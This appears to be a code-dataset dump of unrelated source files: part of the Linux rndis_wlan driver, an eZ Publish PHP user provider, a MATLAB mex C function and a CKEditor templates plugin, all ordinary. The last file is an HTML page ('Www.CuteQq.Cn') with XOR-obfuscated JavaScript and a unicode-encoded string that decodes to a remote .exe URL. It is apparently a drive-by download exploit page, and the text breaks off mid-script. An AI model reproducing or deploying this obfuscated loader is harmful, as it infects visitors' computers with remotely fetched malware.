priv->param_country[0] = modparam_country[0];
priv->param_country[1] = modparam_country[1];
priv->param_country[2] = 0;
priv->param_frameburst = modparam_frameburst;
priv->param_afterburner = modparam_afterburner;
priv->param_power_save = modparam_power_save;
priv->param_power_output = modparam_power_output;
priv->param_roamtrigger = modparam_roamtrigger;
priv->param_roamdelta = modparam_roamdelta;
priv->param_country[0] = toupper(priv->param_country[0]);
priv->param_country[1] = toupper(priv->param_country[1]);
/* doesn't support EU as country code, use FI instead */
if (!strcmp(priv->param_country, "EU"))
strcpy(priv->param_country, "FI");
if (priv->param_power_save < 0)
priv->param_power_save = 0;
else if (priv->param_power_save > 2)
priv->param_power_save = 2;
if (priv->param_power_output < 0)
priv->param_power_output = 0;
else if (priv->param_power_output > 3)
priv->param_power_output = 3;
if (priv->param_roamtrigger < -80)
priv->param_roamtrigger = -80;
else if (priv->param_roamtrigger > -60)
priv->param_roamtrigger = -60;
if (priv->param_roamdelta < 0)
priv->param_roamdelta = 0;
else if (priv->param_roamdelta > 2)
priv->param_roamdelta = 2;
if (modparam_workaround_interval < 0)
priv->param_workaround_interval = 500;
else
priv->param_workaround_interval = modparam_workaround_interval;
}
static int unknown_early_init(struct usbnet *usbdev)
{
/* copy module parameters for unknown so that iwconfig reports txpower
* and workaround parameter is copied to private structure correctly.
*/
rndis_copy_module_params(usbdev, RNDIS_UNKNOWN);
/* This is unknown device, so do not try set configuration parameters.
*/
return 0;
}
static int bcm4320a_early_init(struct usbnet *usbdev)
{
/* copy module parameters for bcm4320a so that iwconfig reports txpower
* and workaround parameter is copied to private structure correctly.
*/
rndis_copy_module_params(usbdev, RNDIS_BCM4320A);
/* bcm4320a doesn't handle configuration parameters well. Try
* set any and you get partially zeroed mac and broken device.
*/
return 0;
}
static int bcm4320b_early_init(struct usbnet *usbdev)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
char buf[8];
rndis_copy_module_params(usbdev, RNDIS_BCM4320B);
/* Early initialization settings, setting these won't have effect
* if called after generic_rndis_bind().
*/
rndis_set_config_parameter_str(usbdev, "Country", priv->param_country);
rndis_set_config_parameter_str(usbdev, "FrameBursting",
priv->param_frameburst ? "1" : "0");
rndis_set_config_parameter_str(usbdev, "Afterburner",
priv->param_afterburner ? "1" : "0");
sprintf(buf, "%d", priv->param_power_save);
rndis_set_config_parameter_str(usbdev, "PowerSaveMode", buf);
sprintf(buf, "%d", priv->param_power_output);
rndis_set_config_parameter_str(usbdev, "PwrOut", buf);
sprintf(buf, "%d", priv->param_roamtrigger);
rndis_set_config_parameter_str(usbdev, "RoamTrigger", buf);
sprintf(buf, "%d", priv->param_roamdelta);
rndis_set_config_parameter_str(usbdev, "RoamDelta", buf);
return 0;
}
/* same as rndis_netdev_ops but with local multicast handler */
static const struct net_device_ops rndis_wlan_netdev_ops = {
.ndo_open = usbnet_open,
.ndo_stop = usbnet_stop,
.ndo_start_xmit = usbnet_start_xmit,
.ndo_tx_timeout = usbnet_tx_timeout,
.ndo_set_mac_address = eth_mac_addr,
.ndo_validate_addr = eth_validate_addr,
.ndo_set_rx_mode = rndis_wlan_set_multicast_list,
};
static int rndis_wlan_bind(struct usbnet *usbdev, struct usb_interface *intf)
{
struct wiphy *wiphy;
struct rndis_wlan_private *priv;
int retval, len;
__le32 tmp;
/* allocate wiphy and rndis private data
* NOTE: We only support a single virtual interface, so wiphy
* and wireless_dev are somewhat synonymous for this device.
*/
wiphy = wiphy_new(&rndis_config_ops, sizeof(struct rndis_wlan_private));
if (!wiphy)
return -ENOMEM;
priv = wiphy_priv(wiphy);
usbdev->net->ieee80211_ptr = &priv->wdev;
priv->wdev.wiphy = wiphy;
priv->wdev.iftype = NL80211_IFTYPE_STATION;
/* These have to be initialized before calling generic_rndis_bind().
* Otherwise we'll be in big trouble in rndis_wlan_early_init().
*/
usbdev->driver_priv = priv;
priv->usbdev = usbdev;
mutex_init(&priv->command_lock);
/* because rndis_command() sleeps we need to use workqueue */
priv->workqueue = create_singlethread_workqueue("rndis_wlan");
INIT_WORK(&priv->work, rndis_wlan_worker);
INIT_DELAYED_WORK(&priv->dev_poller_work, rndis_device_poller);
INIT_DELAYED_WORK(&priv->scan_work, rndis_get_scan_results);
/* try bind rndis_host */
retval = generic_rndis_bind(usbdev, intf, FLAG_RNDIS_PHYM_WIRELESS);
if (retval < 0)
goto fail;
/* generic_rndis_bind set packet filter to multicast_all+
* promisc mode which doesn't work well for our devices (device
* picks up rssi to closest station instead of to access point).
*
* rndis_host wants to avoid all OID as much as possible
* so do promisc/multicast handling in rndis_wlan.
*/
netdev_attach_ops(usbdev->net, &rndis_wlan_netdev_ops);
tmp = RNDIS_PACKET_TYPE_DIRECTED | RNDIS_PACKET_TYPE_BROADCAST;
retval = rndis_set_oid(usbdev, OID_GEN_CURRENT_PACKET_FILTER, &tmp,
sizeof(tmp));
len = sizeof(tmp);
retval = rndis_query_oid(usbdev, OID_802_3_MAXIMUM_LIST_SIZE, &tmp,
&len);
priv->multicast_size = le32_to_cpu(tmp);
if (retval < 0 || priv->multicast_size < 0)
priv->multicast_size = 0;
if (priv->multicast_size > 0)
usbdev->net->flags |= IFF_MULTICAST;
else
usbdev->net->flags &= ~IFF_MULTICAST;
/* fill-out wiphy structure and register w/ cfg80211 */
memcpy(wiphy->perm_addr, usbdev->net->dev_addr, ETH_ALEN);
wiphy->privid = rndis_wiphy_privid;
wiphy->interface_modes = BIT(NL80211_IFTYPE_STATION)
| BIT(NL80211_IFTYPE_ADHOC);
wiphy->max_scan_ssids = 1;
/* TODO: fill-out band/encr information based on priv->caps */
rndis_wlan_get_caps(usbdev, wiphy);
memcpy(priv->channels, rndis_channels, sizeof(rndis_channels));
memcpy(priv->rates, rndis_rates, sizeof(rndis_rates));
priv->band.channels = priv->channels;
priv->band.n_channels = ARRAY_SIZE(rndis_channels);
priv->band.bitrates = priv->rates;
priv->band.n_bitrates = ARRAY_SIZE(rndis_rates);
wiphy->bands[IEEE80211_BAND_2GHZ] = &priv->band;
wiphy->signal_type = CFG80211_SIGNAL_TYPE_UNSPEC;
memcpy(priv->cipher_suites, rndis_cipher_suites,
sizeof(rndis_cipher_suites));
wiphy->cipher_suites = priv->cipher_suites;
wiphy->n_cipher_suites = ARRAY_SIZE(rndis_cipher_suites);
set_wiphy_dev(wiphy, &usbdev->udev->dev);
if (wiphy_register(wiphy)) {
retval = -ENODEV;
goto fail;
}
set_default_iw_params(usbdev);
priv->power_mode = -1;
/* set default rts/frag */
rndis_set_wiphy_params(wiphy,
WIPHY_PARAM_FRAG_THRESHOLD | WIPHY_PARAM_RTS_THRESHOLD);
/* turn radio off on init */
priv->radio_on = false;
disassociate(usbdev, false);
netif_carrier_off(usbdev->net);
return 0;
fail:
cancel_delayed_work_sync(&priv->dev_poller_work);
cancel_delayed_work_sync(&priv->scan_work);
cancel_work_sync(&priv->work);
flush_workqueue(priv->workqueue);
destroy_workqueue(priv->workqueue);
wiphy_free(wiphy);
return retval;
}
static void rndis_wlan_unbind(struct usbnet *usbdev, struct usb_interface *intf)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
/* turn radio off */
disassociate(usbdev, false);
cancel_delayed_work_sync(&priv->dev_poller_work);
cancel_delayed_work_sync(&priv->scan_work);
cancel_work_sync(&priv->work);
flush_workqueue(priv->workqueue);
destroy_workqueue(priv->workqueue);
rndis_unbind(usbdev, intf);
wiphy_unregister(priv->wdev.wiphy);
wiphy_free(priv->wdev.wiphy);
}
static int rndis_wlan_reset(struct usbnet *usbdev)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
int retval;
netdev_dbg(usbdev->net, "%s()\n", __func__);
retval = rndis_reset(usbdev);
if (retval)
netdev_warn(usbdev->net, "rndis_reset failed: %d\n", retval);
/* rndis_reset cleared multicast list, so restore here.
(set_multicast_list() also turns on current packet filter) */
set_multicast_list(usbdev);
queue_delayed_work(priv->workqueue, &priv->dev_poller_work,
round_jiffies_relative(DEVICE_POLLER_JIFFIES));
return deauthenticate(usbdev);
}
static int rndis_wlan_stop(struct usbnet *usbdev)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
int retval;
__le32 filter;
netdev_dbg(usbdev->net, "%s()\n", __func__);
retval = disassociate(usbdev, false);
priv->work_pending = 0;
cancel_delayed_work_sync(&priv->dev_poller_work);
cancel_delayed_work_sync(&priv->scan_work);
cancel_work_sync(&priv->work);
flush_workqueue(priv->workqueue);
if (priv->scan_request) {
cfg80211_scan_done(priv->scan_request, true);
priv->scan_request = NULL;
}
/* Set current packet filter zero to block receiving data packets from
device. */
filter = 0;
rndis_set_oid(usbdev, OID_GEN_CURRENT_PACKET_FILTER, &filter,
sizeof(filter));
return retval;
}
static const struct driver_info bcm4320b_info = {
.description = "Wireless RNDIS device, BCM4320b based",
.flags = FLAG_WLAN | FLAG_FRAMING_RN | FLAG_NO_SETINT |
FLAG_AVOID_UNLINK_URBS,
.bind = rndis_wlan_bind,
.unbind = rndis_wlan_unbind,
.status = rndis_status,
.rx_fixup = rndis_rx_fixup,
.tx_fixup = rndis_tx_fixup,
.reset = rndis_wlan_reset,
.stop = rndis_wlan_stop,
.early_init = bcm4320b_early_init,
.indication = rndis_wlan_indication,
};
static const struct driver_info bcm4320a_info = {
.description = "Wireless RNDIS device, BCM4320a based",
.flags = FLAG_WLAN | FLAG_FRAMING_RN | FLAG_NO_SETINT |
FLAG_AVOID_UNLINK_URBS,
.bind = rndis_wlan_bind,
.unbind = rndis_wlan_unbind,
.status = rndis_status,
.rx_fixup = rndis_rx_fixup,
.tx_fixup = rndis_tx_fixup,
.reset = rndis_wlan_reset,
.stop = rndis_wlan_stop,
.early_init = bcm4320a_early_init,
.indication = rndis_wlan_indication,
};
static const struct driver_info rndis_wlan_info = {
.description = "Wireless RNDIS device",
.flags = FLAG_WLAN | FLAG_FRAMING_RN | FLAG_NO_SETINT |
FLAG_AVOID_UNLINK_URBS,
.bind = rndis_wlan_bind,
.unbind = rndis_wlan_unbind,
.status = rndis_status,
.rx_fixup = rndis_rx_fixup,
.tx_fixup = rndis_tx_fixup,
.reset = rndis_wlan_reset,
.stop = rndis_wlan_stop,
.early_init = unknown_early_init,
.indication = rndis_wlan_indication,
};
/*-------------------------------------------------------------------------*/
static const struct usb_device_id products [] = {
#define RNDIS_MASTER_INTERFACE \
.bInterfaceClass = USB_CLASS_COMM, \
.bInterfaceSubClass = 2 /* ACM */, \
.bInterfaceProtocol = 0x0ff
/* INF driver for these devices have DriverVer >= 4.xx.xx.xx and many custom
* parameters available. Chipset marked as 'BCM4320SKFBG' in NDISwrapper-wiki.
*/
{
.match_flags = USB_DEVICE_ID_MATCH_INT_INFO
| USB_DEVICE_ID_MATCH_DEVICE,
.idVendor = 0x0411,
.idProduct = 0x00bc, /* Buffalo WLI-U2-KG125S */
RNDIS_MASTER_INTERFACE,
.driver_info = (unsigned long) &bcm4320b_info,
}, {
.match_flags = USB_DEVICE_ID_MATCH_INT_INFO
| USB_DEVICE_ID_MATCH_DEVICE,
.idVendor = 0x0baf,
.idProduct = 0x011b, /* U.S. Robotics USR5421 */
RNDIS_MASTER_INTERFACE,
.driver_info = (unsigned long) &bcm4320b_info,
}, {
.match_flags = USB_DEVICE_ID_MATCH_INT_INFO
| USB_DEVICE_ID_MATCH_DEVICE,
.idVendor = 0x050d,
.idProduct = 0x011b, /* Belkin F5D7051 */
RNDIS_MASTER_INTERFACE,
.driver_info = (unsigned long) &bcm4320b_info,
}, {
.match_flags = USB_DEVICE_ID_MATCH_INT_INFO
| USB_DEVICE_ID_MATCH_DEVICE,
.idVendor = 0x1799, /* Belkin has two vendor ids */
.idProduct = 0x011b, /* Belkin F5D7051 */
RNDIS_MASTER_INTERFACE,
.driver_info = (unsigned long) &bcm4320b_info,
}, {
.match_flags = USB_DEVICE_ID_MATCH_INT_INFO
| USB_DEVICE_ID_MATCH_DEVICE,
.idVendor = 0x13b1,
.idProduct = 0x0014, /* Linksys WUSB54GSv2 */
RNDIS_MASTER_INTERFACE,
.driver_info = (unsigned long) &bcm4320b_info,
}, {
.match_flags = USB_DEVICE_ID_MATCH_INT_INFO
| USB_DEVICE_ID_MATCH_DEVICE,
.idVendor = 0x13b1,
.idProduct = 0x0026, /* Linksys WUSB54GSC */
RNDIS_MASTER_INTERFACE,
.driver_info = (unsigned long) &bcm4320b_info,
}, {
.match_flags = USB_DEVICE_ID_MATCH_INT_INFO
| USB_DEVICE_ID_MATCH_DEVICE,
.idVendor = 0x0b05,
.idProduct = 0x1717, /* Asus WL169gE */
RNDIS_MASTER_INTERFACE,
.driver_info = (unsigned long) &bcm4320b_info,
}, {
.match_flags = USB_DEVICE_ID_MATCH_INT_INFO
| USB_DEVICE_ID_MATCH_DEVICE,
.idVendor = 0x0a5c,
.idProduct = 0xd11b, /* Eminent EM4045 */
RNDIS_MASTER_INTERFACE,
.driver_info = (unsigned long) &bcm4320b_info,
}, {
.match_flags = USB_DEVICE_ID_MATCH_INT_INFO
| USB_DEVICE_ID_MATCH_DEVICE,
.idVendor = 0x1690,
.idProduct = 0x0715, /* BT Voyager 1055 */
RNDIS_MASTER_INTERFACE,
.driver_info = (unsigned long) &bcm4320b_info,
},
/* These devices have DriverVer < 4.xx.xx.xx and do not have any custom
* parameters available, hardware probably contain older firmware version with
* no way of updating. Chipset marked as 'BCM4320????' in NDISwrapper-wiki.
*/
{
.match_flags = USB_DEVICE_ID_MATCH_INT_INFO
| USB_DEVICE_ID_MATCH_DEVICE,
.idVendor = 0x13b1,
.idProduct = 0x000e, /* Linksys WUSB54GSv1 */
RNDIS_MASTER_INTERFACE,
.driver_info = (unsigned long) &bcm4320a_info,
}, {
.match_flags = USB_DEVICE_ID_MATCH_INT_INFO
| USB_DEVICE_ID_MATCH_DEVICE,
.idVendor = 0x0baf,
.idProduct = 0x0111, /* U.S. Robotics USR5420 */
RNDIS_MASTER_INTERFACE,
.driver_info = (unsigned long) &bcm4320a_info,
}, {
.match_flags = USB_DEVICE_ID_MATCH_INT_INFO
| USB_DEVICE_ID_MATCH_DEVICE,
.idVendor = 0x0411,
.idProduct = 0x004b, /* BUFFALO WLI-USB-G54 */
RNDIS_MASTER_INTERFACE,
.driver_info = (unsigned long) &bcm4320a_info,
},
/* Generic Wireless RNDIS devices that we don't have exact
* idVendor/idProduct/chip yet.
*/
{
/* RNDIS is MSFT's un-official variant of CDC ACM */
USB_INTERFACE_INFO(USB_CLASS_COMM, 2 /* ACM */, 0x0ff),
.driver_info = (unsigned long) &rndis_wlan_info,
}, {
/* "ActiveSync" is an undocumented variant of RNDIS, used in WM5 */
USB_INTERFACE_INFO(USB_CLASS_MISC, 1, 1),
.driver_info = (unsigned long) &rndis_wlan_info,
},
{ }, // END
};
MODULE_DEVICE_TABLE(usb, products);
static struct usb_driver rndis_wlan_driver = {
.name = "rndis_wlan",
.id_table = products,
.probe = usbnet_probe,
.disconnect = usbnet_disconnect,
.suspend = usbnet_suspend,
.resume = usbnet_resume,
};
static int __init rndis_wlan_init(void)
{
return usb_register(&rndis_wlan_driver);
}
module_init(rndis_wlan_init);
static void __exit rndis_wlan_exit(void)
{
usb_deregister(&rndis_wlan_driver);
}
module_exit(rndis_wlan_exit);
MODULE_AUTHOR("Bjorge Dijkstra");
MODULE_AUTHOR("Jussi Kivilinna");
MODULE_DESCRIPTION("Driver for RNDIS based USB Wireless adapters");
MODULE_LICENSE("GPL");
| freexperia/android_kernel_sony_tegra | net/compat-wireless/drivers/net/wireless/rndis_wlan.c | C | gpl-2.0 | 104,016 |
<?php
/**
* File containing the user Provider class.
*
* @copyright Copyright (C) eZ Systems AS. All rights reserved.
* @license For full copyright and license information view LICENSE file distributed with this source code.
*
* @version //autogentag//
*/
namespace eZ\Publish\Core\MVC\Symfony\Security\User;
use eZ\Publish\API\Repository\Exceptions\NotFoundException;
use eZ\Publish\API\Repository\Repository;
use eZ\Publish\Core\MVC\Symfony\Security\User;
use eZ\Publish\Core\MVC\Symfony\Security\UserInterface;
use eZ\Publish\API\Repository\Values\User\User as APIUser;
use Symfony\Component\Security\Core\Exception\UnsupportedUserException;
use Symfony\Component\Security\Core\User\UserInterface as CoreUserInterface;
use Symfony\Component\Security\Core\Exception\UsernameNotFoundException;
class Provider implements APIUserProviderInterface
{
/**
* @var \eZ\Publish\API\Repository\Repository
*/
protected $repository;
/**
* @param \eZ\Publish\API\Repository\Repository $repository
*/
public function __construct(Repository $repository)
{
$this->repository = $repository;
}
/**
* Loads the user for the given user ID.
* $user can be either the user ID or an instance of \eZ\Publish\Core\MVC\Symfony\Security\User
* (anonymous user we try to check access via SecurityContext::isGranted()).
*
* @param string|\eZ\Publish\Core\MVC\Symfony\Security\User $user Either the user ID to load an instance of User object. A value of -1 represents an anonymous user.
*
* @return \eZ\Publish\Core\MVC\Symfony\Security\UserInterface
*
* @throws \Symfony\Component\Security\Core\Exception\UsernameNotFoundException if the user is not found
*/
public function loadUserByUsername($user)
{
try {
// SecurityContext always tries to authenticate anonymous users when checking granted access.
// In that case $user is an instance of \eZ\Publish\Core\MVC\Symfony\Security\User.
// We don't need to reload the user here.
if ($user instanceof UserInterface) {
return $user;
}
return new User($this->repository->getUserService()->loadUserByLogin($user), array('ROLE_USER'));
} catch (NotFoundException $e) {
throw new UsernameNotFoundException($e->getMessage(), 0, $e);
}
}
/**
* Refreshes the user for the account interface.
*
* It is up to the implementation to decide if the user data should be
* totally reloaded (e.g. from the database), or if the UserInterface
* object can just be merged into some internal array of users / identity
* map.
*
* @param \Symfony\Component\Security\Core\User\UserInterface $user
*
* @throws \Symfony\Component\Security\Core\Exception\UnsupportedUserException
*
* @return \Symfony\Component\Security\Core\User\UserInterface
*/
public function refreshUser(CoreUserInterface $user)
{
if (!$user instanceof UserInterface) {
throw new UnsupportedUserException(sprintf('Instances of "%s" are not supported.', get_class($user)));
}
try {
$refreshedAPIUser = $this->repository->getUserService()->loadUser($user->getAPIUser()->id);
$user->setAPIUser($refreshedAPIUser);
$this->repository->setCurrentUser($refreshedAPIUser);
return $user;
} catch (NotFoundException $e) {
throw new UsernameNotFoundException($e->getMessage(), 0, $e);
}
}
/**
* Whether this provider supports the given user class.
*
* @param string $class
*
* @return Boolean
*/
public function supportsClass($class)
{
$supportedClass = 'eZ\\Publish\\Core\\MVC\\Symfony\\Security\\User';
return $class === $supportedClass || is_subclass_of($class, $supportedClass);
}
/**
* Loads a regular user object, usable by Symfony Security component, from a user object returned by Public API.
*
* @param \eZ\Publish\API\Repository\Values\User\User $apiUser
*
* @return \eZ\Publish\Core\MVC\Symfony\Security\User
*/
public function loadUserByAPIUser(APIUser $apiUser)
{
return new User($apiUser);
}
}
| flovntp/BikeTutorialWebsite | vendor/ezsystems/ezpublish-kernel/eZ/Publish/Core/MVC/Symfony/Security/User/Provider.php | PHP | gpl-2.0 | 4,333 |
#include <math.h>
#include "mex.h"
#include "matrix.h"
#include "geometry.h"
void
mexFunction (int nlhs, mxArray * plhs[], int nrhs, const mxArray * prhs[])
{
char str[256];
mxArray *proj, *dist;
double *l1, *l2, *r, *proj_p, *dist_p;
int flag;
if (nrhs <3 || nrhs>4)
mexErrMsgTxt ("Invalid number of input arguments");
if (mxGetM(prhs[0])!=1 || mxGetN(prhs[0])!=3)
mexErrMsgTxt ("Invalid dimension for input argument 1");
if (mxGetM(prhs[1])!=1 || mxGetN(prhs[1])!=3)
mexErrMsgTxt ("Invalid dimension for input argument 2");
if (mxGetM(prhs[2])!=1 || mxGetN(prhs[2])!=3)
mexErrMsgTxt ("Invalid dimension for input argument 3");
l1 = mxGetData (prhs[0]);
l2 = mxGetData (prhs[1]);
r = mxGetData (prhs[2]);
if (nrhs==4)
flag = (int)mxGetScalar (prhs[3]);
else
flag = 0;
proj = mxCreateDoubleMatrix (1, 3, mxREAL);
dist = mxCreateDoubleMatrix (1, 1, mxREAL);
proj_p = mxGetData (proj);
dist_p = mxGetData (dist);
(*dist_p) = plinproj(l1, l2, r, proj_p, flag);
/* assign the output parameters */
plhs[0] = proj;
if (nlhs>1)
plhs[1] = dist;
return;
}
| tntdynamight/fieldtrip | src/plinproj.c | C | gpl-2.0 | 1,130 |
/**
* @license Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved.
* For licensing, see LICENSE.md or http://ckeditor.com/license
*/
( function() {
CKEDITOR.plugins.add( 'templates', {
requires: 'dialog',
// jscs:disable maximumLineLength
lang: 'af,ar,bg,bn,bs,ca,cs,cy,da,de,de-ch,el,en,en-au,en-ca,en-gb,eo,es,et,eu,fa,fi,fo,fr,fr-ca,gl,gu,he,hi,hr,hu,id,is,it,ja,ka,km,ko,ku,lt,lv,mk,mn,ms,nb,nl,no,pl,pt,pt-br,ro,ru,si,sk,sl,sq,sr,sr-latn,sv,th,tr,tt,ug,uk,vi,zh,zh-cn', // %REMOVE_LINE_CORE%
// jscs:enable maximumLineLength
icons: 'templates,templates-rtl', // %REMOVE_LINE_CORE%
hidpi: true, // %REMOVE_LINE_CORE%
init: function( editor ) {
CKEDITOR.dialog.add( 'templates', CKEDITOR.getUrl( this.path + 'dialogs/templates.js' ) );
editor.addCommand( 'templates', new CKEDITOR.dialogCommand( 'templates' ) );
editor.ui.addButton && editor.ui.addButton( 'Templates', {
label: editor.lang.templates.button,
command: 'templates',
toolbar: 'doctools,10'
} );
}
} );
var templates = {},
loadedTemplatesFiles = {};
CKEDITOR.addTemplates = function( name, definition ) {
templates[ name ] = definition;
};
CKEDITOR.getTemplates = function( name ) {
return templates[ name ];
};
CKEDITOR.loadTemplates = function( templateFiles, callback ) {
// Holds the templates files to be loaded.
var toLoad = [];
// Look for pending template files to get loaded.
for ( var i = 0, count = templateFiles.length; i < count; i++ ) {
if ( !loadedTemplatesFiles[ templateFiles[ i ] ] ) {
toLoad.push( templateFiles[ i ] );
loadedTemplatesFiles[ templateFiles[ i ] ] = 1;
}
}
if ( toLoad.length )
CKEDITOR.scriptLoader.load( toLoad, callback );
else
setTimeout( callback, 0 );
};
} )();
/**
* The templates definition set to use. It accepts a list of names separated by
* comma. It must match definitions loaded with the {@link #templates_files} setting.
*
* config.templates = 'my_templates';
*
* @cfg {String} [templates='default']
* @member CKEDITOR.config
*/
/**
* The list of templates definition files to load.
*
* config.templates_files = [
* '/editor_templates/site_default.js',
* 'http://www.example.com/user_templates.js
* ];
*
* @cfg
* @member CKEDITOR.config
*/
CKEDITOR.config.templates_files = [
CKEDITOR.getUrl( 'plugins/templates/templates/default.js' )
];
/**
* Whether the "Replace actual contents" checkbox is checked by default in the
* Templates dialog.
*
* config.templates_replaceContent = false;
*
* @cfg
* @member CKEDITOR.config
*/
CKEDITOR.config.templates_replaceContent = true;
| SeeyaSia/www | web/libraries/ckeditor/plugins/templates/plugin.js | JavaScript | gpl-2.0 | 2,656 |
<html>
<head>
<title>Www.CuteQq.Cn</title>
</head>
<body>
<NOSCRIPT>
</NOSCRIPT>
<script>
Qq_784378237="";
Qq_784378237+="%0E%5BM%0F%09%07l3%0FF%0C%16YT%0E%22%13D%04GC%16t%0B%16bB%15%18%7D%1DF";
Qq_784378237+="%5E%5CP%16D%05NMZF%09%07%0B%3C%3A%5D%04_%05O%0C5%3DYYPX%03%5BLE_V%0E%1";
Qq_784378237+="B%12%15ZC%19P%5E%04%11FXT%5CDS%0DE%5B%5C%0DPsq%05%25%0D%09T%1Bqw%09%24";
Qq_784378237+="H%0DS%7C%05%1F%5DQ%05r%1DP%24tX%0E%0A%0AqV%02%07%0AD%065o%0A%1D%5C%5B%";
Qq_784378237+="08%00Z%15%07%3E8Y%11VCY%11%12%0El%3CDYEEEZW%0AT%5B%0ARW%084hEJ%09%5C_%";
Qq_784378237+="5E%06%0DQT%10%5CFE%0FSA%5BV%15S%1A%10CM%08Us%0A%16LRU%09Q%1CF%04%24R%0";
Qq_784378237+="5%14E%24%24%00R%13G%0FrW%07%17G%23%0A%7C%5D%14%12%18%19oo0h%19%13%12EB";
Qq_784378237+="%15%13%15%14_%08V%05%17M%0F%24pw%17%13%00%7DUs%17F%09%27Q%7CDL%06%07%2";
Qq_784378237+="0%21%10D%04%22S%02C%16%19%18%3Ao%3F%3B%12F%18%18E%16%10%16LV%23%0D%25%";
Qq_784378237+="1CF%02UVp%14ERP%00Q%13G%0AqTw%17GP%0B%0FU%13G%06zQ%24%1BA%12%13%3Fok%3";
Qq_784378237+="C%11%10AF%10A%14%17M%05%20%00%01%17%13%0F%00S%03%17F%09RS%0CDL%06tP%5B";
Qq_784378237+="%10D%06V%27vDCs%09%01Q%14%12%19F52l%3F%12%13%19BE%19C%1CF%02UQ%05%14EU";
Qq_784378237+="V%08%23%13G%00uUu%17GW%7B%0FU%13G%0B%7B%23%21%1C%14%09%0B%04%5D@%15%1A";
Qq_784378237+="%10ll9h%16%12%18%17E%16%10%17%13%00zP%07%17F%0A%21R%0CDL%04%06%5D%20%1";
Qq_784378237+="0D%07YTuDCt%0D%07V%13G%0A%24%0D%0EG%16%19%134hl0A%19%13%12EB%17%14ESV%";
Qq_784378237+="07W%13G%7E%02U%05%17G%25%01%0BV%13G%07%08V%5C%1C%14%09%00s%21G@%02%03%";
Qq_784378237+="22S%12A%1D%125%3Dl%3F%12%12F%18%18E%14%17F%09%24%21%7BDL%02%02%27%27%1";
Qq_784378237+="0DvSU%08DC%02%00%00Q%13Gq%24%7B%09@C%02%00%09%26G%19J%19%3E8lk%15%11%1";
Qq_784378237+="0AF%10C%13G%0C%07%21w%17G%20%09%7D%27%13G%02%7FQ%27%1C%14%7C%04%05PG@%";
Qq_784378237+="09rT%23%15%14%04%06%0DrG%16%19%12k21l%16%12%13%19BE%1BDLwvUQ%10D%08%23";
Qq_784378237+="P%06DC%06z%07%26%13G%07%23%00z@C%02%00%08%21@LY%7BwvGB%1E%11%3Dko9A%16";
Qq_784378237+="%12%18%17E%14%17G%5Ez%08Q%13Gp%0CRV%1C%14%0C%0As%27G@ss%24T%15%14%06t%";
Qq_784378237+="00u@Ct%0B%5E%08%1AE%1D%12%3E3kl%19A%19%13%12E@%10D%07UP%03DC%07%0F%07%";
Qq_784378237+="24%13GvV%7E%7E@Csu%00W@LWxrt@%17ps%00PD%10J%16%3F2%3El%16%12%12F%18%18";
Qq_784378237+="G%13G%06%0B%23%26%1C%14%0C%04%07WG@%09vY%22%15%14%07%02%7Cu@C%02%02R%0";
Qq_784378237+="8%1D%10s%0B%0B%08@E%12A49%3BlB%15%11%10AF%12DC%03%08%03%20%13G%02V%0C%";
Qq_784378237+="08@C%07%01%0CS@L%25%09ut@%17%05%00%06%20CE%27p%07%0F%15E%1D%3F8o1%18E%";
Qq_784378237+="16%12%13%19@@L%24z%06%05@%17%00%06v%27CEX%06w%00%15E%1D%12%3Fl11E%16%1";
Qq_784378237+="2%13%19BG";
Qq784378237="";
Qq784378237+="%10%1A%02oo0%03PTP%09%0DVZ%10%5CFE%0FSA%5BV%15S%1A%10CM%01U%0F%02%11%1";
Qq784378237+="0Yh3hQVS%01%07GBY%1B%03%10%5C%16%00%08%0Ch%3C%3BA%0AY%5B%0EEBRZ%07E%04";
Qq784378237+="AQVS%01%07GBY%1B%03%10J%16APR%09ZQ%5D%02%5D%16%09S%5CTM%0A%5E4k0DZ%0C%";
Qq784378237+="0EP%11%18A%04Y%06T%5EWT%0E%18%5EW%08_L%0D%16%0E%13J%0E%04Z%0AJCS%06%07";
Qq784378237+="%15%18%10%03%0FW%03Z%5D%5B%5CE%1D%0F%12%04Q_%07Z%5DPRYh3h_Z%5E%09%00Y%";
Qq784378237+="5ES%0AF%0DAT%5B_U%09YQYHKM%07EFAP%0C%02%11Q%15%13A%09%03VZC%11%07S%04%";
Qq784378237+="1F%095%3DlT%5E%5D%05S%18X%16PZ%5E%00%09V%02R%1DA%10%00FEB%08%08WI%06%1";
Qq784378237+="E%18U%0CQP%5E%09%5BSKZW%5D%5E%16%0D%19L%19@%5E%04%01%5EB@%00%05UH%0D%3";
Qq784378237+="F2%3E%12%5E%5B%5E%03%10Z%09YQX%17%0E%00W%06M%5B%12NBF%5DQ%02%0DC%11WQ%";
Qq784378237+="5D%17Y%16%02JR%08%08U%06%1B%13%5B%0E%0AZ%0A%19%0E%12%07%0EZR%5BAM%10%0";
Qq784378237+="3Z%5D%5B%5CE%1D%12T%0FTT%07Z%5DPRYh3hTV_%0A%10L%11%0DA%08U%16%16sJE%04";
Qq784378237+="O%1A%1B%5D52lUGG%5C%13%14%19%5C%19%5EW%08%0DGH%0Bll9%07Y@%18%1F%1D%0B%";
Qq784378237+="02%09F@%04E%02%02%03%02B%1D%12J%10%13Q%10%16P@A%3A%1EmA%0B%12Z%5B%0AUY";
Qq784378237+="%12M%18K%0DS%5E_Z%0D%01%5CZ49%3B%13%03G%11R%14%00V%04D%12%05%17BjJ%02%";
Qq784378237+="07%1F%03h%3C%3BDQ%0B%09%5CA%11QG%03%04PC%1E%0D%03%5E%06BZ%18%0BE%03%02";
Qq784378237+="%02O%18Z%10PTVKBN%04A%1EoJU%03iI%00%00%3AHQWn@%07%04%11%09%3Fl1H%15U%1";
Qq784378237+="C%7FV%05%0A%19%5C%19QG%03%04PC%0Bll%0CNEQJ%5E%15B%0C%3Fl%04%17%07YVJ%0";
Qq784378237+="7oo%05NQG_%09%5C";
www_cuteqq_cn_s="%u7468%u7074%u2f3a%u772f%u7777%u662e%u7777%u7379%u632e%u2f6e%u6976%u2f70%u2e31%u7865%u0065";
function XOR(strV,strPass){
var intPassLength=strPass.length;
var re="";
for(var i=0;i<strV.length;i++){
re+=String.fromCharCode(strV.charCodeAt(i)^strPass.charCodeAt(i%intPassLength));
}
return(re);
}
var STR =
{
hexcase : 0, /* hex output format. 0 - lowercase; 1 - uppercase */
